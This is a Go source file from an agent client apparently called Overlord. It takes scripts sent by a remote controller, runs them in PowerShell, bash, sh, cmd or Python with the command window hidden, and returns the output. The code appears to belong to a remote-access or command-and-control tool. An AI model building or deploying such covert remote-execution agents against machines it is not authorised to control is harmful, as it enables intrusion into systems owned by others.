Files
overlord/Overlord-Client/cmd/agent/handlers/script.go
T
2026-04-06 18:20:52 -05:00

97 lines
2.6 KiB
Go

package handlers
import (
"context"
"log"
"os/exec"
"runtime"
"strings"
"time"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID string, scriptContent string, scriptType string) error {
log.Printf("script: executing %s script (length: %d bytes)", scriptType, len(scriptContent))
var cmd *exec.Cmd
switch scriptType {
case "powershell":
if runtime.GOOS == "windows" {
cmd = exec.CommandContext(ctx, "powershell.exe", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
} else {
cmd = exec.CommandContext(ctx, "pwsh", "-NoProfile", "-NonInteractive", "-Command", scriptContent)
}
case "bash":
if runtime.GOOS == "windows" {
cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
} else {
cmd = exec.CommandContext(ctx, "bash", "-c", scriptContent)
}
case "sh":
cmd = exec.CommandContext(ctx, "sh", "-c", scriptContent)
case "cmd":
if runtime.GOOS == "windows" {
cmd = exec.CommandContext(ctx, "cmd.exe", "/c", scriptContent)
} else {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "cmd.exe not available on non-Windows systems",
})
}
case "python":
cmd = exec.CommandContext(ctx, "python", "-c", scriptContent)
case "python3":
cmd = exec.CommandContext(ctx, "python3", "-c", scriptContent)
default:
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "unsupported script type: " + scriptType,
})
}
hideCmdWindow(cmd)
timeout := 5 * time.Minute
ctx, cancel := context.WithTimeout(ctx, timeout)
defer cancel()
output, err := cmd.CombinedOutput()
if err != nil {
if ctx.Err() == context.DeadlineExceeded {
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
Type: "script_result",
CommandID: cmdID,
OK: false,
Output: string(output),
Error: "Script execution timed out after " + timeout.String(),
})
}
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
Type: "script_result",
CommandID: cmdID,
OK: false,
Output: string(output),
Error: err.Error(),
})
}
log.Printf("script: execution completed successfully (%d bytes output)", len(output))
return wire.WriteMsg(ctx, env.Conn, wire.ScriptResult{
Type: "script_result",
CommandID: cmdID,
OK: true,
Output: strings.TrimSpace(string(output)),
})
}